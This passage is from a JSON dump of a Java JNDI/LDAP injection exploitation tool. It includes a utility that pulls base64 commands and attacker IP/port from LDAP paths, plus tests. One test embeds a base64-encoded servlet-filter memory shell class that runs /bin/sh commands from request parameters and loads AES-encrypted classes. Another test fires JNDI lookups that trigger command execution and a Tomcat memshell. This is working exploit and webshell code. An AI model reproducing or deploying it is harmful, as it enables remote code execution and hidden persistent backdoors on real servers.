base.substring(firstIndex + 1);\n\n        int secondIndex = base.lastIndexOf(\"/\", firstIndex - 1);\n        if(secondIndex < 0){\n            secondIndex = 0;\n        }\n\n        if(base.substring(secondIndex + 1, firstIndex).equalsIgnoreCase(\"base64\")){\n            byte[] bytes = Util.base64Decode(cmd);\n            cmd = new String(bytes);\n        }\n\n        return cmd;\n    }\n\n    public static String[] getIPAndPortFromBase(String base) throws NumberFormatException{\n        int firstIndex = base.lastIndexOf(\"/\");\n        String port = base.substring(firstIndex + 1);\n\n        int secondIndex = base.lastIndexOf(\"/\", firstIndex - 1);\n        if(secondIndex < 0){\n            secondIndex = 0;\n        }\n\n        String ip = base.substring(secondIndex + 1, firstIndex);\n        return new String[]{ip, Integer.parseInt(port) + \"\"};\n    }\n}"
  },
  {
    "path": "src/test/java/TestBase64.java",
    "content": "import com.feihong.ldap.utils.Util;\nimport org.junit.Test;\n\nimport java.io.File;\nimport java.io.FileNotFoundException;\nimport java.io.FileOutputStream;\n\npublic class TestBase64 {\n    @Test\n    public void testEncoder() throws Exception {\n        String test = \"Hello, how are you?\";\n\n        System.out.println(Util.base64Encode(test.getBytes()));\n    }\n\n    @Test\n    public void testDecoder() throws Exception{\n       String base64Strng = \"SGVsbG8sIGhvdyBhcmUgeW91Pw==\";\n\n        byte[] bytes = Util.base64Decode(base64Strng);\n        System.out.println(new String(bytes));\n    }\n\n    @Test\n    public void test() throws Exception {\n        String base64String = \"yv66vgAAADIBWQoAPwChCgBaAKIJAKMApAgApQoApgCnCACoCwBFAKkIAKoKAA4AqwoArACtCgAOAK4JAK8AsAgAsQcAsggAswgAtAgAcQgAtQcAtgoAtwC4CgC3ALkKALoAuwoAEwC8CAC9CgATAL4KABMAvwsARgDACgDBAKcHAMIKAKwAwwsAHQDECwAdAMUIAMYKAKwAxwsAHQDICADJCwDKAMsIAMwKAM0AzgcAzwcA0AoAKQChCwDKANEKACkA0ggA0woAKQDUCgApANUKAA4A1goAKADXCgDNANgHANkKADMAoQsARQDaCgDbANwKADMA3QoAzQDeCQBaAN8IAOAHAOEHAHYHAOIKADsA4wcA5AoA5QDmCgDlAOcKAOgA6QoAOwDqCADrBwDsBwDtBwDuCgBHAO8LAPAA8QgA8goAPQDzBwD0CgA/APUJAPYA9wcA+AoAOwD5CAD6CgDoAPsKAPYA/AcA/QoAVADvBwD+CgBWAO8HAP8KAFgA7wcBAAcBAQEAEm15Q2xhc3NMb2FkZXJDbGF6egEAEUxqYXZhL2xhbmcvQ2xhc3M7AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBACxMY29tL21lbXNoZWxsL2dlbmVyaWMvRHluYW1pY0ZpbHRlclRlbXBsYXRlOwEABGluaXQBAB8oTGphdmF4L3NlcnZsZXQvRmlsdGVyQ29uZmlnOylWAQAMZmlsdGVyQ29uZmlnAQAcTGphdmF4L3NlcnZsZXQvRmlsdGVyQ29uZmlnOwEACkV4Y2VwdGlvbnMHAQIBAAhkb0ZpbHRlcgEAWyhMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7TGphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW47KVYBAARjbWRzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEABnJlc3VsdAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAA2NtZAEAAWsBAAZjaXBoZXIBABVMamF2YXgvY3J5cHRvL0NpcGhlcjsBAA5ldmlsQ2xhc3NCeXRlcwEAAltCAQAJZXZpbENsYXNzAQAKZXZpbE9iamVjdAEAEkxqYXZhL2xhbmcvT2JqZWN0OwEADHRhcmdldE1ldGhvZAEAGkxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQABZQEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEADnNlcnZsZXRSZXF1ZXN0AQAeTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7AQAPc2VydmxldFJlc3BvbnNlAQAfTGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlOwEAC2ZpbHRlckNoYWluAQAbTGphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW47AQANU3RhY2tNYXBUYWJsZQcAsgcAbgcA7gEAB2Rlc3Ryb3kBAAppbml0aWFsaXplAQACZXgBACFMamF2YS9sYW5nL05vU3VjaE1ldGhvZEV4Y2VwdGlvbjsBAAVjbGF6egEABm1ldGhvZAEABGNvZGUBAAVieXRlcwEAIkxqYXZhL2xhbmcvQ2xhc3NOb3RGb3VuZEV4Y2VwdGlvbjsBAAtjbGFzc0xvYWRlcgEAF0xqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQAiTGphdmEvbGFuZy9JbGxlZ2FsQWNjZXNzRXhjZXB0aW9uOwEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEALUxqYXZhL2xhbmcvcmVmbGVjdC9JbnZvY2F0aW9uVGFyZ2V0RXhjZXB0aW9uOwcBAAcA4gcA9AcA4QcBAwcA+AcA/QcA/gcA/wEAClNvdXJjZUZpbGUBABpEeW5hbWljRmlsdGVyVGVtcGxhdGUuamF2YQwAXgBfDACJAF8HAQQMAQUBBgEAHVsrXSBEeW5hbWljIEZpbHRlciBzYXlzIGhlbGxvBwEHDAEIAQkBAAR0eXBlDAEKAQsBAAViYXNpYwwA6wEMBwENDAEOAQ8MARABEQcBEgwBEwBwAQABLwEAEGphdmEvbGFuZy9TdHJpbmcBAAcvYmluL3NoAQACLWMBAAIvQwEAEWphdmEvdXRpbC9TY2FubmVyBwEUDAEVARYMARcBGAcBGQwBGgEbDABeARwBAAJcQQwBHQEeDAEfAQ8MASABIQcBIgEAJWphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3QMASMBDwwBIwELDAEkAQ8BAARQT1NUDAElAQ8MASYBJwEAAXUHASgMASkBKgEAA0FFUwcBKwwBLAEtAQAfamF2YXgvY3J5cHRvL3NwZWMvU2VjcmV0S2V5U3BlYwEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDAEuAS8MATABMQEAAAwBMAEyDAEzAQ8MATQBNQwAXgE2DABlATcBABZzdW4vbWlzYy9CQVNFNjREZWNvZGVyDAE4ATkHAToMATsBDwwBPAE9DAE+AT8MAFwAXQEAC2RlZmluZUNsYXNzAQAPamF2YS9sYW5nL0NsYXNzAQAVamF2YS9sYW5nL0NsYXNzTG9hZGVyDAFAAUEBABBqYXZhL2xhbmcvT2JqZWN0BwFCDAFDAUQMAUUBRgcBAwwBRwFIDAFJAUoBAAZlcXVhbHMBABxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0AQAdamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2UBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAFLAF8HAUwMAGsBTQEAImNvbS5tZW1zaGVsbC5nZW5lcmljLk15Q2xhc3NMb2FkZXIMAU4BTwEAIGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uDAFQAVEHAVIMAVMAXQEAH2phdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb24MAVQBUQEDEHl2NjZ2Z0FBQURJQUd3b0FCUUFXQndBWENnQUNBQllLQUFJQUdBY0FHUUVBQmp4cGJtbDBQZ0VBR2loTWFtRjJZUzlzWVc1bkwwTnNZWE56VEc5aFpHVnlPeWxXQVFBRVEyOWtaUUVBRDB4cGJtVk9kVzFpWlhKVVlXSnNaUUVBRWt4dlkyRnNWbUZ5YVdGaWJHVlVZV0pzWlFFQUJIUm9hWE1CQUNSTVkyOXRMMjFsYlhOb1pXeHNMMmRsYm1WeWFXTXZUWGxEYkdGemMweHZZV1JsY2pzQkFBRmpBUUFYVEdwaGRtRXZiR0Z1Wnk5RGJHRnpjMHh2WVdSbGNqc0JBQXRrWldacGJtVkRiR0Z6Y3dFQUxDaGJRa3hxWVhaaEwyeGhibWN2UTJ4aGMzTk1iMkZrWlhJN0tVeHFZWFpoTDJ4aGJtY3ZRMnhoYzNNN0FRQUZZbmwwWlhNQkFBSmJRZ0VBQzJOc1lYTnpURzloWkdWeUFRQUtVMjkxY21ObFJtbHNaUUVBRWsxNVEyeGhjM05NYjJGa1pYSXVhbUYyWVF3QUJnQUhBUUFpWTI5dEwyMWxiWE5vWld4c0wyZGxibVZ5YVdNdlRYbERiR0Z6YzB4dllXUmxjZ3dBRHdBYUFRQVZhbUYyWVM5c1lXNW5MME5zWVhOelRHOWhaR1Z5QVFBWEtGdENTVWtwVEdwaGRtRXZiR0Z1Wnk5RGJHRnpjenNBSVFBQ0FBVUFBQUFBQUFJQUFBQUdBQWNBQVFBSUFBQUFPZ0FDQUFJQUFBQUdLaXUzQUFHeEFBQUFBZ0FKQUFBQUJnQUJBQUFBQkFBS0FBQUFGZ0FDQUFBQUJnQUxBQXdBQUFBQUFBWUFEUUFPQUFFQUNRQVBBQkFBQVFBSUFBQUFSQUFFQUFJQUFBQVF1d0FDV1N1M0FBTXFBeXErdGdBRXNBQUFBQUlBQ1FBQUFBWUFBUUFBQUFnQUNnQUFBQllBQWdBQUFCQUFFUUFTQUFBQUFBQVFBQk1BRGdBQkFBRUFGQUFBQUFJQUZRPT0MAVUBVgwBVwFYAQAgamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb24BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAramF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvblRhcmdldEV4Y2VwdGlvbgEAKmNvbS9tZW1zaGVsbC9nZW5lcmljL0R5bmFtaWNGaWx0ZXJUZW1wbGF0ZQEAFGphdmF4L3NlcnZsZXQvRmlsdGVyAQAeamF2YXgvc2VydmxldC9TZXJ2bGV0RXhjZXB0aW9uAQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAMZ2V0UGFyYW1ldGVyAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoBABtjb20vbWVtc2hlbGwvZ2VuZXJpYy9Db25maWcBAAtnZXRQYXNzd29yZAEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAHaXNFbXB0eQEAAygpWgEADGphdmEvaW8vRmlsZQEACXNlcGFyYXRvcgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAEbmV4dAEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQATamF2YS9pby9QcmludFdyaXRlcgEACWdldEhlYWRlcgEACWdldE1ldGhvZAEAFmdldEJlaGluZGVyU2hlbGxQd2RQd2QBAApnZXRTZXNzaW9uAQAiKClMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uOwEAHmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2Vzc2lvbgEADHNldEF0dHJpYnV0ZQEAJyhMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL09iamVjdDspVgEAE2phdmF4L2NyeXB0by9DaXBoZXIBAAtnZXRJbnN0YW5jZQEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmF4L2NyeXB0by9DaXBoZXI7AQAMZ2V0QXR0cmlidXRlAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL09iamVjdDsBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwEACGdldEJ5dGVzAQAEKClbQgEAFyhbQkxqYXZhL2xhbmcvU3RyaW5nOylWAQAXKElMamF2YS9zZWN1cml0eS9LZXk7KVYBAAlnZXRSZWFkZXIBABooKUxqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyOwEAFmphdmEvaW8vQnVmZmVyZWRSZWFkZXIBAAhyZWFkTGluZQEADGRlY29kZUJ1ZmZlcgEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAAdkb0ZpbmFsAQAGKFtCKVtCAQARZ2V0RGVjbGFyZWRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAQamF2YS9sYW5nL1RocmVhZAEADWN1cnJlbnRUaHJlYWQBABQoKUxqYXZhL2xhbmcvVGhyZWFkOwEAFWdldENvbnRleHRDbGFzc0xvYWRlcgEAGSgpTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAtuZXdJbnN0YW5jZQEAFCgpTGphdmEvbGFuZy9PYmplY3Q7AQAPcHJpbnRTdGFja1RyYWNlAQAZamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbgEAQChMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7KVYBAAlsb2FkQ2xhc3MBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQARamF2YS9sYW5nL0ludGVnZXIBAARUWVBFAQANZ2V0U3VwZXJjbGFzcwEADXNldEFjY2Vzc2libGUBAAQoWilWAQAHdmFsdWVPZgEAFihJKUxqYXZhL2xhbmcvSW50ZWdlcjsAIQBaAD8AAQBbAAEAAgBcAF0AAAAFAAEAXgBfAAEAYAAAADsAAQABAAAACSq3AAEqtwACsQAAAAIAYQAAAA4AAwAAABMABAAUAAgAFQBiAAAADAABAAAACQBjAGQAAAABAGUAZgACAGAAAAA1AAAAAgAAAAGxAAAAAgBhAAAABgABAAAAGgBiAAAAFgACAAAAAQBjAGQAAAAAAAEAZwBoAAEAaQAAAAQAAQBqAAEAawBsAAIAYAAAAuEABwAKAAABprIAAxIEtgAFKxIGuQAHAgDGAJArEga5AAcCABIItgAJmQCAK7gACrkABwIAOgQZBMYAbRkEtgALmgBlAToFsgAMEg22AAmZABsGvQAOWQMSD1NZBBIQU1kFGQRTOgWnABgGvQAOWQMSEVNZBBISU1kFGQRTOgW7ABNZuAAUGQW2ABW2ABa3ABcSGLYAGbYAGjoGLLkAGwEAGQa2ABynAQgrwAAduAAeuQAfAgDGAPErwAAduQAgAQASIbYACZkA07gAIjoEK8AAHbkAIwEAEiQZBLkAJQMAEia4ACc6BRkFBbsAKFm7AClZtwAqK8AAHbkAIwEAEiS5ACsCALYALBIttgAutgAvtgAwEia3ADG2ADIZBbsAM1m3ADQruQA1AQC2ADa2ADe2ADg6Biq0ADkSOgW9ADtZAxI8U1kEEj1TtgA+AQW9AD9ZAxkGU1kEuABAtgBBU7YAQsAAOzoHGQe2AEM6CBkHEkQFvQA7WQMSRVNZBBJGU7YAPjoJGQkZCAW9AD9ZAytTWQQsU7YAQlenABU6BBkEtgBIpwALLSssuQBJAwCxAAEArwGQAZMARwADAGEAAABuABsAAAAeAAgAIQAjACMALgAkADsAJQA+ACYASQAnAGEAKQB2ACsAkgAsAJ0ALgCvADEAwAAyAMUAMwDXADQA3gA1ARIANgEsADcBXgA4AWUAOQF8ADoBkAA+AZMAPAGVAD0BmgA+AZ0AQAGlAEIAYgAAAI4ADgA+AF8AbQBuAAUAkgALAG8AcAAGAC4AbwBxAHAABADFAMsAcgBwAAQA3gCyAHMAdAAFASwAZAB1AHYABgFeADIAdwBdAAcBZQArAHgAeQAIAXwAFAB6AHsACQGVAAUAfAB9AAQAAAGmAGMAZAAAAAABpgB+AH8AAQAAAaYAgACBAAIAAAGmAIIAgwADAIQAAAAZAAj9AGEHAIUHAIYU+QAmAvsA70IHAIcJBwBpAAAABgACAFYAagABAIgAXwABAGAAAAArAAAAAQAAAAGxAAAAAgBhAAAABgABAAAARwBiAAAADAABAAAAAQBjAGQAAAACAIkAXwABAGAAAAIDAAcABwAAAKm4AEC2AEFMKisSSrYAS7UAOacAf00rtgBNTgE6BBkExwAzLRI/pQAtLRI6Br0AO1kDEjxTWQSyAE5TWQWyAE5TtgA+OgSn/9g6BS22AFBOp//OElE6BbsAM1m3ADQZBbYANzoGGQQEtgBSKhkEKwa9AD9ZAxkGU1kEA7gAU1NZBRkGvrgAU1O2AELAADu1ADmnABhMK7YAVacAEEwrtgBXpwAITCu2AFmxAAUABwARABQATAAoAEUASABPAAAAkACTAFQAAACQAJsAVgAAAJAAowBYAAMAYQAAAGoAGgAAAEsABwBNABEAXQAUAE4AFQBPABoAUAAdAFEAKABTAEUAVgBIAFQASgBVAE8AVgBSAFkAVgBaAGQAWwBqAFwAkABkAJMAXgCUAF8AmABkAJsAYACcAGEAoABkAKMAYgCkAGMAqABlAGIAAABwAAsASgAFAIoAiwAFABoAdgCMAF0AAwAdAHMAjQB7AAQAVgA6AI4AcAAFAGQALACPAHYABgAVAHsAfACQAAIABwCJAJEAkgABAJQABAB8AJMAAQCcAAQAfACUAAEApAAEAHwAlQABAAAAqQBjAGQAAACEAAAAOgAJ/wAUAAIHAJYHAJcAAQcAmP4ACAcAmAcAmQcAmmoHAJsJ/wA9AAEHAJYAAEIHAJxHBwCdRwcAngQAAQCfAAAAAgCg\";\n        FileOutputStream fous = new FileOutputStream(\"1.class\");\n        fous.write(Util.base64Decode(base64String));\n        fous.close();\n\n    }\n\n    @Test\n    public void test2() throws Exception {\n        String code = Util.getClassCode(\"com.feihong.ldap.template.MyClassLoader\");\n        FileOutputStream fous = new FileOutputStream(\"Test1.class\");\n        fous.write(Util.base64Decode(code));\n        fous.close();\n\n        System.out.println(code);\n    }\n\n    @Test\n    public void test3() throws Exception {\n        String code = Util.getClassCode(\"com.feihong.ldap.template.DynamicFilterTemplate\");\n        FileOutputStream fous = new FileOutputStream(\"Test2.class\");\n        fous.write(Util.base64Decode(code));\n        fous.close();\n\n        System.out.println(code);\n    }\n}\n"
  },
  {
    "path": "src/test/java/TestProgram.java",
    "content": "import javax.naming.InitialContext;\nimport javax.naming.NamingException;\n\npublic class TestProgram {\n\n    @org.junit.Test\n    public void test() throws NamingException {\n        InitialContext context = new InitialContext();\n//        context.lookup(\"ldap://127.0.0.1:1389/groovybypass/command/base64/ZWNobyAiaG93IGRvIHlvdSBkbz8iID4gRDovMTIzNDU2LnR4dA==\");\n//        context.lookup(\"ldap://127.0.0.1:1389/basic/tomcatmemshell\");\n        context.lookup(\"ldap://127.0.0.1:1389/basic/command/calc\");\n    }\n\n    @org.junit.Test\n    public void test2() throws NamingException {\n        InitialContext context = new InitialContext();\n//        context.lookup(\"ldap://127.0.0.1:1389/groovybypass/command/base64/ZWNobyAiaG93IGRvIHlvdSBkbz8iID4gRDovMTIzNDU2LnR4dA==\");\n        context.lookup(\"ldap://127.0.0.1:1389/basic/tomcatmemshell\");\n    }\n}\n"
  }
]